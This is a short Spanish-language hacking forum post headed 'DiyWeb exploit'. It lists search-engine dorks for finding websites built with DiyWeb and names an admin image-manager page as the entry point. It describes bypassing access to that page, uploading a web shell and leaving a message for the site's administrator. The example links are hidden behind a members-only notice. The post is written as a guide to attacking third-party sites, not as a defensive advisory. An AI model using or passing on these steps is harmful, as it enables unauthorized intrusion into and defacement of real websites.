DiyWeb exploit

Dork
"Power by DiyWeb"
inurl:/template.asp?menuid=
exploit  : diyweb/menu/admin/image_manager.asp
ejemplo


Los enlaces son solo para miembros. Registrate o iniciá sesión

y con un poco de ingenio bypass

Los enlaces son solo para miembros. Registrate o iniciá sesión




y acá subiríamos nuestra shell

como somos chicos buenos le dejaremos un mensaje al admin

Los enlaces son solo para miembros. Registrate o iniciá sesión


saludos